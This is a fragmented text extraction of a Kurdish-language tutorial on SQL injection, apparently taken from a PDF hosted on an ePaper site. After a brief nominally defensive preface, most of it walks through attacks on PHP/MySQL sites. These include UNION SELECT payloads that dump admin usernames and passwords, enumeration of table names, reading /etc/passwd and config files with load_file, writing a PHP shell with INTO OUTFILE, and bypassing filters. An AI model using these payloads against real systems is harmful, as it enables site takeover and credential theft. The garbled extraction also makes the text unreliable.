29.11.2014 Views

SQL Injection Attacks - Intelligent Exploit

SQL Injection Attacks - Intelligent Exploit

SQL Injection Attacks - Intelligent Exploit

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

- 1 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

بسم الله الرحمن الرحيم<br />

سبحانك العلم لنا اال ما علمتنا انك انت العليم الحكيم<br />

--------------------------------------------------------------<br />

@@Z@<br />

لهگهڵ بهرهو پێش چوونی تهكنهلۆجيا و به تايبهت بواری كۆمپيوتهرو<br />

ئهتهرنێت ھێرشهكانی ھاكرزهكان ڕوو له زياد بوون دهكات و ڕيگه و<br />

يهكێكه لهو<br />

شێوازی نووێ دهدۆزرێتهوه.‏ ھێرشی<br />

ھێرشانه يان دهتونين بڵێن يهكێكه له كه زۆر ئاسانه و زۆر مهترسی<br />

داره بۆ سهر ماڵپهر كهچی زۆربهی پهره پێدهرهكان مهترسی ئهو<br />

<strong>SQL</strong> <strong>Injection</strong><br />

.<br />

- 2 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

ھێرشانه نازانن يان ھهر بگره زۆر جار ئهگهر باسی بكهی گاڵتهيان پێدێ<br />

بۆ خۆپاراستنی سهرهتايشی بۆ ناكهن.‏<br />

نازانن كهزۆر مهترسيداره ئهگهرچی له ڕووی جێبهجێكردنی تا<br />

ڕادهيهك ئاسانه بهاڵم زۆر كاريگهره بۆ سهر ماڵپهڕ كه دهتوانی<br />

ڕاستهوخۆ زانياری له داتابێزهوه دهربێنی . من كه باسی دهكهم تهنھا بۆ<br />

ئهوه نيه تا بتوانين زانياری ماڵپهڕيك دهربێنن يان ناو پاسۆردی بهكار<br />

ھێنهرێك دهربێنن بهڵكو مهبهستی دووهم ئهوهيه تا خاوهن ماڵپهر و<br />

داڕێژهی ماڵپهر بزانن كه چهند مهترسی داره تا بهاليهنی كهم ڕيگهی و<br />

شێوازی ھێرشهكه بزانن تا ماڵپهڕهكهيان لهو جۆره ھێرشانه پارێزراوبێ<br />

‏.له كۆتای دا باسی يهكێك له وھێرشانهدهكهم كه دهنگدانهوهيكی مهزنی<br />

ھهبوو.‏ له 17 اوغست ی ساڵی 2009 وهزارهتی دادی ئهمريكی پياوێكی<br />

ئهمريكی و دوو گهنجی ڕووسی دادگايی كرد كه ھهڵسابوون به دزينی<br />

كه<br />

130 مليۆن ژمارهی بانكی له ڕيگهی ھێرشی<br />

ھێرشيان كردبووه سهر چهند كۆمپانيايهكی زبالح ی وهك , 7-Eleven<br />

<strong>SQL</strong> Injiction<br />

Hannaford Brothers<br />

بۆيه تاچهندی بزانی ئهوهنده دهتوانی خۆت بپارێزی ئهگهر ھيچی لێ<br />

نهزانی ئهوه ناتوانی خۆتی ڵێبپارێزی<br />

.<br />

AnGrY BoY<br />

- 3 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

باسی ئهو چهند خاڵهی خوارهو دهكهم ھيوادرام سوودی ڵيوهرگرن :<br />

Field و Table<br />

<strong>SQL</strong> <strong>Injection</strong><br />

.1<br />

.2<br />

3<br />

پێناسهی<br />

دۆزينهوهی ھهڵه و دهرھێنانی زانياری گرنگ<br />

بهيهك جار<br />

ده.‏ رھێنانی زۆرترين<br />

‎4‎‏.خوێندنهوهی فايلی گرنگ<br />

‎5‎‏.چاره سهركردنی ھهندێ له كێشهكان<br />

-----------------------------------------------------------------------------<br />

- 4 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

(<strong>SQL</strong>)<br />

چيه ؟؟ كورت كراوهی<br />

‏(لغة االستعالم البنيويه)‏ بهكورتى زمانێكه قسه لهگهڵ داتا بێز دهكات<br />

دهتوانی لهڕێگه يهوه زانياری له داتا بێز وهرگری و نوێ بكهيهوه و.‏<br />

وهھهروهھا دهتوانی خشته دورست بكهين و بيسڕينهوه بهتاڵيبكهينهوه<br />

دهستكاريبكهين و چهندين كرداری تر.‏<br />

لێره ناتوانين باسی زمانی بكهين بهڵكو بهكورتی باسی ھهڵهی<br />

دهكهين كه ناسراوه به <strong>SQL</strong> <strong>Injection</strong> له داتا بێزی<br />

من باسی ھهموويان ناكهم<br />

‏.بهڵكو تهنھا باسی دهكهم لهگهڵ سكريپتی php ‏.لهو چهند<br />

دێرهی خوارهوه دێن به زمانێكی ساده و به شێوهيكی كورت و پوخت باس<br />

دهكهين تا ھهموو كهس لێی تێبگات<br />

Structured Query Language<br />

.<br />

access-<br />

( Mysql<br />

<strong>SQL</strong><br />

<strong>SQL</strong><br />

-Oracle— mysql ) server<br />

( Mysql )<br />

.<br />

‎1‎‏.پێناسهی <strong>SQL</strong> <strong>Injection</strong><br />

باڵو ترين و باو ترين و ئاسانترين ھهڵهيه له سكريپتهكانی ماڵپهڕ دا ھهيه<br />

به شێوهيكی زۆر باڵوه وه زۆر ئاسانه لهجێبهجێكردنيدا ئهگهر بێتی<br />

داڕيژهكه دانهنابێ كه دهتوانی له ڕێگهی ڵێدانی كۆدهكانی<br />

زمانی وه زانياری پێويست دهربھێنی له ناو داتا بێزهوه<br />

.<br />

(Filter)<br />

<strong>SQL</strong><br />

.<br />

<strong>SQL</strong> لهسهروه باسمان كرد زمانێكه له زمانهكان<br />

له زمانی كوردی نازانم به زاراوهی زانستی چی<br />

پێدهگوترێ ؟؟!!‏ بهاڵم ووشهكه مانای دهرزی لێدان دێ له زمانی عهرهبی<br />

له زمانی<br />

پێدهگوترێ ‏(الحقن)‏ بۆيه دهربڕينی مانای<br />

<strong>Injection</strong><br />

<strong>Injection</strong><br />

- 5 -<br />

@ @@ @


نكا<br />

<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

كوردی زهحمهته واتاكهی بهم شێوهيه بێ.‏ بهس ئێمه تهنھا پێويستيمان به<br />

مانهكهی ھهيه نهك وهرگێڕانی زاراوه<br />

!!!<br />

بۆ كار ئاسانی تا بتوانی به ئاسانی زانياری به دهست بێنی<br />

magic_quotes_gpc<br />

:<br />

=<br />

باشتره off<br />

داخراو بی واتا چااڵك نهبی<br />

.<br />

- 6 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

‎2‎‏.دۆزينهوهی ھهڵه و دهرھێنانی زانياری گرنگ<br />

چۆن دهزانين ئهو سايته ھهڵهی ھهيه ؟؟؟<br />

بۆ نموونه سايتێك دهكهينهوه تهماشا بكه وهك ئهو نموونهی خوارهوه<br />

له كۆتايی دا نوسراوه<br />

وهك ئهم وێنهی خوارهوه<br />

http://localhost/file.php?id=1<br />

file.php?id=1<br />

ئهوهيان گۆڕاوه ھهڵهكه ڵێرهيه.‏<br />

- 7 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

لهپاش ژماره يهك ئهم ھێمايه<br />

چی پێشان دهدات<br />

وێنهی خوارهوه<br />

) ' ( بنووسهو پاشان<br />

http://localhost/file.php?id=1'<br />

ئينتهر بكه بزانه<br />

ئهگهر ھاتوو نامهيكی لهو شێوهيه دهرچوو<br />

ھهڵهيهك ھهيه يان تهنھا نووسرابوو<br />

وهك وێنهی سهرهوه دهڵێ<br />

- 8 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

You have an error in your <strong>SQL</strong> syntax<br />

يان نوسرابوو<br />

Warning: mysql_fetch_array(): supplied argument<br />

is not a valid My<strong>SQL</strong> result resource in<br />

/home/user/public_html/files.php<br />

يان بهو شێوهيه<br />

Warning: mysql_result(): supplied argument is<br />

not a valid My<strong>SQL</strong> result resource in<br />

ئهوه بزانه ئهگهری ئهوهی ھهيه ھهڵهی ھهبێ مهج نيه له 100% ئهو<br />

سايته ھهڵهی ھهبی بهاڵم ئهگهری ئهوه ھهيه 75% ھهڵهی ھهبێ.‏<br />

وهك ئهم ووێنهی خوارهوه<br />

- 9 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

ئێستا زانيمان كه ھهڵهی ھهيه چۆن زانياری گرنگ وهرگرين له ڕێگهی<br />

ئهو ھهڵهيه ؟؟؟<br />

پاش ئهوهی زانيمان ئهو سايته ھهڵهی ھهيه با بيێن زانياری گرنگ و<br />

پێويست دهربێنين وهك<br />

بۆ زانينی ناو و پاسۆرد دهبێ يهكهم چار ژمارهی column بزانين.‏<br />

لهدوای گۆڕاوهكه<br />

ھهڵدهستين به نووسينى<br />

( واتا داوا دهكهی كه ژمارهكهمان پێ بڵێ<br />

Password & User Name<br />

order by<br />

order by )<br />

- 10 -<br />

@ @@ @


Sql<br />

<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

وهك لهسهرهوه باسم كرد پشت به فرمانهكانی زمانی<br />

زمانی زۆر نزيكه له زمانی ئاسای.‏<br />

بهم شێهوهيه ژمارهی دهردينين<br />

دهبهستين<br />

column<br />

Sql<br />

وهك ئهم وێنهی خوارهوه<br />

- 11 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

(/*)<br />

(--)<br />

-:<br />

يان مانای كۆتای دێڕ يان داخستنی يان<br />

ئهوهی له دووای دێ بهمانای پێناسه دێ واتا كارناكاته سهر كۆدهكان<br />

له ژمارهيكهوه دهست پێدهكهی تا ھهڵهكه له الپهڕهكه وون دهبی بۆ<br />

نموونه له ژماره 10 دهست پێبكه ئهگهر ھهڵهكه ھهر مابوو ئهوه بيكه<br />

وهھهروهھا تا ھهڵهكه<br />

بيكه ئهگهر ھهر مابوو ئهوه بيكه يان بهاليهنيكهم گۆڕانكاری بهرچاو<br />

لهسهر الپهڕهكه وون دهبی ڕووبدات له الپهڕهكه.‏<br />

كهيه بۆ<br />

له كام ژماره ھهڵهكه وون بوو ئهوه ژمارهی<br />

مان<br />

ئێستا ژمارهی نموونه له ژماره 8 ھهڵهكه ون بوو زۆر<br />

وهك ئهو وێنهی خوارهوه له ژماره زانی كه ژماره كهم بۆوه<br />

9<br />

http://localhost/file.php?id=1+order+by+10--<br />

http://localhost/file.php?id=1+order+by+9--<br />

http://localhost/file.php?id=1+order+by+8--<br />

http://localhost/file.php?id=1+order+by+7--<br />

http://localhost/file.php?id=1+order+by+6--<br />

http://localhost/file.php?id=1+order+by+5--<br />

http://localhost/file.php?id=1+order+by+4--<br />

http://localhost/file.php?id=1+order+by+3--<br />

http://localhost/file.php?id=1+order+by+2--<br />

http://localhost/file.php?id=1+order+by+1--<br />

Column<br />

Column<br />

8 ھهڵهكه<br />

6<br />

7<br />

.<br />

8 بيكه<br />

8<br />

- 12 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

پاش ئهوهی ژمارهی column مان زانى دێين فرمانی<br />

بهكار ھێنانی<br />

بهم شێوهيه بهكار دێ<br />

union select<br />

Union select<br />

بهكار دهێنين.‏<br />

و دهرھێنانی زانياری<br />

http://localhost/file.php?id=-1+union+select+1,2,3,4,5,6,7,8--<br />

- 13 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

id<br />

نێوان 8-1<br />

(-)<br />

لهگهڵ دانانی ھێمای كهم له دوای گۆڕاوی پاشان دهبينی له<br />

ناو الپهڕهكه چهند ژمارهيهك دهردەچێت له لێرهوه زانياری<br />

گرنگ وهردهگرين.‏<br />

وهك ئهم وێنهی خوارهوه سهرنج بده بهم شێوهيه دهنووسرێ<br />

لهوانهيه پرسيار بكهن بۆ تا ژماره 8 مان نووسيی بۆ ؟؟؟ وهاڵم چونكه<br />

ھهڵهكه له ژماره 8 وون بوو واتا ژمارهی<br />

column كهيه<br />

- 14 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

وهك له وێنهكه دياره ژماره 2 پيشان دا كهواته ئهوهی دهمانهوێ<br />

بيبينينهوه وهك ڤێرژن و ناوی داتا بێز و يوزهر ھهمووی له شوێنی<br />

ژماره 2 دهنووسين<br />

سهيری وێنهی خوارهوه<br />

بۆ نموونه بۆ زانينی ڤێرژن ده نووسينی<br />

له بهستهرهكه له شوێنی ژماره 2<br />

@@version يان<br />

version()<br />

:- مهبهست له<br />

My<strong>SQL</strong> version<br />

زانينی ڤێرژن مهبهستمان ڤێرژنی<br />

My<strong>SQL</strong> واتا<br />

2 پيشان<br />

.<br />

وهك دياره له وێنهكه له ناو الپهڕهكه لهجێگای ئهوهی ژماره<br />

بدا ڤێرژنهكهی پيشانداين<br />

- 15 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

بۆ زانينی يوزهر user()<br />

بۆ زانينی داتا بێز<br />

database() ئهوهش ناوی داتا بێز<br />

- 16 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

نوسينی ئهو فرمانانهی سهرهوه له شوێنی ژمارهكه زانياريهكانت پێدهدا<br />

بۆ زانينی ناوی يوزهر و پاسۆرد ھهلدهستين به دهرھينانی ئهو<br />

زانيارانهی خوارهوه..‏<br />

دۆزينهوهی خشته جهدول<br />

بهم شێوهيه دهنووسرێ وهك ئهم وێنهيه<br />

(<br />

Table )<br />

http://localhost/file.php?id=-<br />

1+union+select+1,2,3,4,5,6,7,8+from+admin--<br />

- 17 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

ووشهی From<br />

بۆ دهستنيشانكردن بهكاردێ<br />

-:<br />

-:<br />

ووشهی ئهدمين ناوی جهدوهلهكهيه واتا خشته (Table) ئهو خشتهيه<br />

لهخۆ دهگری ھهر Field زانياری گرنگ لهخۆ<br />

دهگرێ.‏<br />

بۆيه مهرج نيه له ھهموو سكريپتهك ھهر بی بهگوێره<br />

سكريپت دهگۆڕی<br />

admin<br />

.<br />

چهند Field<br />

- 18 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

:- ھهندێ ناوی جهدولهكان<br />

user , admin , member , login , moderator , administrator<br />

ئهگهر ناوی خشتهكه تهواو بوو ئهو ژمارهكه وهك خۆی دهردهچيتهوه له<br />

ناو الپهڕهكه وه ئهگهر ھهڵه بوو ئهوه ھهڵه پيشان دهدات له ناو الپهڕهكه.‏<br />

بۆ نموونه گريمان ناوی خشتهكه تهواو بوو ژمارهكه وهك خۆی<br />

دهرچوو دوای چ دهكهين<br />

؟؟ وهك ئهم وێنهی خوارهوه<br />

- 19 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

ھهڵدهستين به نووسينی ناوی<br />

بۆزانينی ناو واتا<br />

Field<br />

user name<br />

له شوێنی ژمارهكه<br />

بهم شێويه دهنووسين<br />

وهك<br />

http://localhost/file.php?id=-<br />

1+union+select+1,user,3,4,5,6,7,8+from+admin--<br />

وهك بينيتان له شوێنی ژماره 2 له ناو بهستهرهكه نوسيم user<br />

دهبينين له شوێنی ژمارهكه ناوهكه دهردهچی واتا user name<br />

شێوهيه كه له وێنهكهی خوارهوه دياره<br />

بهم<br />

.<br />

- 20 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

user<br />

تێبينی \\<br />

مهرج نيه تهنھا<br />

بێت وهك گوتم به گوێرهی سكريپت<br />

دهگۆڕ وهك username , user, usr, user_name<br />

دهرھێنا<br />

User nam مان ئهو جاره با پاسۆردی دهربێنين<br />

وه ھهرروهھا بۆ زانينی ووشهی نھێنی واتا پاسۆرد password<br />

دهنووسين يان<br />

ئهوا<br />

pwd يان password<br />

pass<br />

- 21 -<br />

@ @@ @


بهم شێوهيه دهنووسرێ<br />

<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

تهماشای ئهو وێنهی خوارهوه بكه<br />

http://localhost/file.php?id=-1+union+select+1,<br />

password,3,4,5,6,7,8+from+admin--<br />

دهبينين له شوێنی ژمارهكه ووشهی نھێنی دهردهچی واتا<br />

يشمان دهرھێنا.‏<br />

بهم شێوهيه<br />

passwor<br />

password<br />

-:<br />

concat(password,0x3e,user)<br />

بۆ بهستنهوهی ھهردوو فرمانهكه ئهم دهستهواژهيه<br />

بهم شێوهيه<br />

بهكار دينين<br />

بۆ بهستهوهی فرمانهكان بهيهكهوه يان دانانی دوو فرمان<br />

بهجارێک<br />

Concat<br />

.<br />

- 22 -<br />

@ @@ @


یوه<br />

<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

0x3e<br />

ئهوهيان وهك ناوبڕه دادهندرێ تا تێكهڵ نهبی ھهردوو فرمانهكه<br />

ئهوه بريتيه له < ئهو ھێمايه بهاڵم به شێوهی ھيكس<br />

ئهوه تهنھا بۆ زانياری.‏<br />

http://localhost/file.php?id=-<br />

1+union+select+1,concat(password,0x3e,user),3,<br />

4,5,6,7,8+from+admin--<br />

!!<br />

بهڕێزان فايلێكی ڤيديۆی لهگهڵه به ناونيشانی ) سهرهتا و دۆزينه<br />

ھهڵه)‏ كه بهديژی ئهوهی له خاڵی يهكهم باسم كردووه به وێنه به ڤيديۆ<br />

باسم كرديه بۆ زياتر تێگهيشتن<br />

- 23 -<br />

@ @@ @


شوه<br />

<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

table<br />

وه ھهندێ ناوی و الپهڕهی ئهدمينی ئهوهی پێوست بووه بۆ<br />

ئهو باسه سهروه دام ناوه له ناو فايلی<br />

!!<br />

txt<br />

-------------------------------------------<br />

Field و Table<br />

.3<br />

بهيهك جار<br />

دهرھێنانی زۆرترين<br />

له سهرهوه باسی دهرھێنانی زانياری وهك يوزهر و پاسۆردم كرد كه<br />

پێويست به و ن ھهبوو ھهتا بتوانين يوزهرو پاسۆرد<br />

دهربێنين ئهويش به دانانی ناوی كان و هكان ئه<br />

دهبوايه به مهزهنده دايبنێين دڵنيا نهبووين ئايه ڕاسته يان ھهڵهيه دهبی<br />

دووباره تاقی بكهيهوه ھهتا به تهواوی دهبيينيهوه ئهوه تهنھا له ڤێرژنی<br />

وهھايه . له فێرژنی زۆر ئاسانه دهتوانی به ماوهكی كهم زۆرترين<br />

زانياری وهرگری.‏<br />

باشه چۆن بزانين ئهوه ڤێرژنی 4 يان 5 ه ؟؟؟ واڵم لهسهرهوه باسم كرد<br />

يان<br />

له شوێنی ژمارهكه دهنووسی<br />

ئهوكات دهزانی 4 يان 5 ئهگهر 4 بوو ئهوه له خاڵی 3 م باسم كردووه<br />

بهاڵم ئهگهر 5 بوو ئهوه زۆر ئاسانه ئێستا باسی دهكهن<br />

بهم شێوهی خوارهوه دهنوسرێ.‏ بۆ زانينی ڤێرژن وهك باسم كرد له<br />

شوێنی ژمارهيك دهنووسی @@version سهيری ئهو وێنهيه بكه<br />

4<br />

Field<br />

version()<br />

Table<br />

@@version<br />

Field<br />

5<br />

table<br />

- 24 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

له شوێنی ژماره 1 دهنووسی @@version وهك ئهو وێنهی خوارهوه<br />

- 25 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

زۆر باشه ئهوه زانيمان فێرژنی 5 ه پاشان ؟؟<br />

بۆ ئهوهی تهيبڵهكان به ئاسانی ببينينهوه ئهوه دهبی ناوی تهيبڵهكان له<br />

نێوان دوو ھێمای له سهدا بنووسين پاشان بيگۆڕين بۆ My<strong>SQL</strong>CHAR<br />

چۆنيهتی گۆڕينی بۆ My<strong>SQL</strong>CHAR دهتوانی له ڕێگهی توڵباريێكی<br />

بهناوی يان بهرنامه ھهيه<br />

تايبهت به گۆڕين<br />

سهيری ئهو وێنهی خوارهوه بكه<br />

hackbar<br />

تايبهت له Mozilla Firefox<br />

- 26 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

پاشان پهنجهرێك دهبيتهوه ئهوهی مهبهسته لێبنووسه بۆ نموونه دهمانهوێ<br />

بدۆزينهوه ئهوه دەنووسين %admin%<br />

ناوی<br />

پاشان<br />

ئهوهی دهنووسی بۆ دهرھێنانی<br />

پاسۆرد<br />

ى بۆ دهرھێنانی دهيكاته<br />

دوای دهيكهینه<br />

دهنووسين %User %<br />

table<br />

My<strong>SQL</strong>CHAR<br />

admin ی table<br />

table user<br />

My<strong>SQL</strong>CHAR<br />

%pwd%<br />

ok<br />

دوای ئهوهی كه نووسيمان %admin%<br />

ئهو وێنهی خوارهوه<br />

پاشان كليكی<br />

بكه وهك<br />

- 27 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

كه كليكی<br />

كرد ئهوه پهنجهرهكه دادهخرێ ئهوهی نوسيوته دهيكاته<br />

ئامادهيه بۆ بهكار ھێنان وهك وێنهی خوارهوه<br />

ok<br />

My<strong>SQL</strong>CHAR<br />

- 28 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

ئهو ڕستهيه كه دهرچووه له وێنهكه ئاماژهم پێدايه كۆپی بكه له كۆتايی<br />

بهستهرهكه دايبنێ لهگهڵ دانانی<br />

concat(table_name,0x3e,column_name,0x3e,ta<br />

ble_schema)<br />

له شوێنی يه كێك له ژمارهكان .<br />

لهگهڵ دانانی<br />

from+information_schema.columns+where+colum<br />

n_name+like+<br />

له كۆتايی ژمارهكان<br />

لهگهڵ دانای<br />

ھهموويان.‏<br />

له كۆتايی<br />

CHAR(37, 97, 100, 109, 105, 110, 37)<br />

- 29 -<br />

@ @@ @


له كۆتايی بهستهرهكه دهبێته<br />

ئهوهی زياد كراوه بريتيه له<br />

<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

http://localhost/file.php?id=-<br />

1+union+select+1,2,<br />

concat(table_name,0x3e,column_name,0x3e,tab<br />

le_schema),4,5+from+information_schema.colu<br />

mns+where+column_name+like+ CHAR(37, 97,<br />

100, 109, 105, 110, 37)--<br />

: واتا له ھهرشوێنيك بی<br />

where<br />

: Like واتا ھاوشێوهی لێكچوو<br />

-:<br />

( % )<br />

% %<br />

ھێمای له سهدا واتا ھهر ووشهيهك پێك ھاتبی له و<br />

پيتانهی له نێوانمان نووسيه<br />

بۆ نموونه ئێمه زۆر جار له ناو ويندۆز دهگهڕين به دوای بهرنامهكان<br />

دهنووسين واتا ھهر فايلێك بهشێوهی بی بيدۆزهوه<br />

ئهو ووشهی سهرهوه ھهمان مانی ھهيه له زمانی<br />

exe<br />

sql<br />

*.exe<br />

+where+column_name+like+%user% My<strong>SQL</strong>CHAR --<br />

pass<br />

له كۆتايی ڕستهكه دهبێته :-<br />

دهری بێنه.‏<br />

له ھهر شوێنێك ووشهی<br />

ھهبێ<br />

- 30 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

pass User<br />

-:<br />

admin , password , pwd , username , name<br />

, login , admin_name<br />

بيكه<br />

ئهگهر به ناوی<br />

يان<br />

وه ھهروهھاااااا<br />

دهرنهچوو ئهوه<br />

پاشان انتربكه دهبينی<br />

table كان پيشان دهدا وهك ئهو وێنهی خوارهوه.‏<br />

- 31 -<br />

@ @@ @


كوه<br />

<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

پاشان بۆ ناوی پاسۆرد ھهمان كردار تاقی كهوه<br />

ئهوجاره بۆ پاسۆرد بنووسه<br />

نوسيمان<br />

وهھهروهھااا..‏<br />

لهسهروه كه<br />

%pwd% ,<br />

%admin%<br />

%pass%,<br />

ئهو وێنهی خوارهوهتهماشاكه من ووشهی<br />

سهركهوتووبوو سهيركهن<br />

%pwd% تاقی كردهوه<br />

.<br />

- 32 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

له كۆتای سهيركهن به ئاسانی<br />

user , password مان دهرھيناا<br />

- 33 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

-:<br />

)<br />

به ڤيديۆ ئهوهی لهسهره باسم كرد بۆتان شيکراوهتهوه به<br />

له ڤێرژنی 5) بۆ زياتر<br />

ناوی دهرھێنانی زۆرترين<br />

تێگهيشتن.!‏<br />

Field و Table<br />

--------------------------------------------------<br />

- 34 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

4. خوێندنهوهی فايلی گرنگ و بهرزكردنهوهی فايل<br />

ئاسانترين ڕيگه بۆ ھاكردنی سايت له ڕێگهی ھهڵهی له ڕيگهی<br />

ئهم فرمانهوهيه ئهويش فرمانی<br />

بهم شێوهيه بهكار دێ<br />

ڕێڕهوی ئهو فايله بنووسه كه دهتهوێ<br />

يان له شوێنی<br />

بيخوێنيهوه<br />

ئهوهش پێويسته<br />

دهتوانی ئهم فرمانه جێبهجێ<br />

چۆن دهزانی<br />

بكهی<br />

ئهگهر ھهڵهی پيشان دا يان الپهڕهكه سپی بوو ئهوه دياره ئيش ناكات<br />

ئهگهر زانياری پيشاندای ئهوهبزانه ئيش دهكات<br />

چۆنيهتی بهكار ھێنانی ئاسانه له شوێنی ژمارهكه دهنوسين<br />

sql<br />

load_file<br />

load_file('/etc/passwd')<br />

/etc/passwd'<br />

magic quotes=OFF<br />

magic quotes=OFF<br />

load_file('/etc/passwd')<br />

http://localhost/file.php?id=-1+union+select+1,<br />

load_file('/etc/passwd'),3,4,5+admin<br />

بۆ خوێندنهوهی فايل دهتوانی ڕێڕهوی فايلهكه بنووسی وهك ئهو نموونهی<br />

خوارهوه<br />

/home/h4kurd/public_html/Config.php<br />

http://localhost/file.php?id=-1+union+select+1,<br />

load_file(/home/h4kurd/public_html/config.ph<br />

p),3,4,5+admin--<br />

بهم شێوهيه زانياری كۆنفيگ پيشان دهدات له ناو الپهڕهكه زۆر جار ئهو<br />

فرمانانه به شێوهی ئاسای ئيش ناكات دهبێت بيكهیته ھيكس<br />

تا وهكو ئيش بكات ئهويش بهم شێوهيه دهبی.‏<br />

hex<br />

- 35 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

Unhex(hex(load_file(0x and command)))<br />

or load_file(0x and command)<br />

.<br />

بۆ گۆڕينی فرمانهكان بۆ ھيكس ئهوه ڕيگه زۆرن پێويست ناكات باسی<br />

بكهين بهرنامهيكی بچووك دادهنێم بۆتان بۆ گۆڕينی فرمانهكان بۆ<br />

ھيكس.!‏<br />

into+outfile<br />

-:<br />

دهبێ<br />

لهڕێگهی فرمانی<br />

فۆڵدهرێك لهناو ھۆستهكه ھهبی به جمۆدی 777 واتا ڕێگه پێدراو بی به<br />

بهرزكردنهوهی فايل<br />

ئهوكات دهتوانی فايلێك دورست بكهی پاشان كۆدی ھهڵهی تێدا<br />

بنوسيهوه پاشان شێڵ ئهپڵۆد بكهی<br />

فرمانهكه بهم شێوهی خوارهوه دهنووسرێ<br />

http://localhost/file.php?id=-1+union+select+1, ,3,4,5+into+outfile"/home/h4kurd/p<br />

ublic_html/folder/h4kurh.php"<br />

ئهگهر سهركهوتوو نهبووی<br />

شێوهی خوارهوهی لێدێ<br />

فرمانهكه<br />

دهگۆڕين به<br />

تشفيری<br />

ھيكس بهم<br />

<br />

ئهم كۆدانه دهكهينه تشفيری ھيكس<br />

- 36 -<br />

@ @@ @


یوه<br />

<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

http://localhost/file.php?id=-1+union+select+1, 0x and code<br />

,3,4,5+into+outfile"/home/h4kurd/public_html/folder/h4kur<br />

h.php"<br />

بهم شێوهيه دهتوانی فايلێك دوورست بكهی و ھهڵهی تێدابی ئهوكات شێڵ<br />

بهرز كهوه<br />

بۆ زانياری زياتربه ڤيديۆ باسی چۆنيهتی خۆيندنهوهی فايلی گرنگ و<br />

بهرزكردنهی فايلم كرديه دامناوه بۆتان به ناوی ‏(خوێندنه فايلی<br />

گرنگ)‏<br />

---------------------------<br />

- 37 -<br />

@ @@ @


<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />

5. چاره سهركردنی ھهندێ له<br />

كێشهكان<br />

چارهسهری Forbidden<br />

زۆر جار له كاتی نوسينی فرمانهكانی وهك<br />

الپهڕهيك دهردهچێ دهنووسرێ Forbidden<br />

بۆ چارهسهری ھهڵسه به نوسينی ئهم فرمانه له نێوان<br />

بنووسه وهك ئهو نموونهی خوارهوه<br />

union select<br />

union select<br />

union select<br />

all<br />

http://localhost/file.php?id=-<br />

1+union+all+select+1,2,3,4,5+admin--<br />

به گۆڕينی<br />

يان ھهڵسه به گۆڕينی شێوهی نوسينی<br />

شێوهی پيتهكان به گهورهو بچووك وهك<br />

چونكه زۆر جار فلتهری لهسهر دادهندرێ بهم شێوه<br />

تۆ كه ياری به پيتهكان دهكهی<br />

ئاسايه دادهندرێ<br />

ئهوه نايناستهوه<br />

يان ووشهی 1+1 and له پێش گۆڕاوهكه واتا بهم شێوهيه<br />

union select<br />

UniOn SlEcT<br />

http://localhost/file.php?id=-<br />

1+and+1=1+union+all+select+1,2,3,4,5+admin--<br />

بهاڵم ئهمهشه له ھهموو كاتێك سهركهوتوو نابێ ئهوجاره ھهڵسه<br />

گۆڕينی به شێوهی تشفيری ھيكس واتا فرمانهكان بكه به ھيكس..‏<br />

به<br />

دۆزينهوهی تهيبڵهكان<br />

لهكاتی ھهبوونی كێشه<br />

- 38 -<br />

@ @@ @


یڕه<br />

یوه<br />

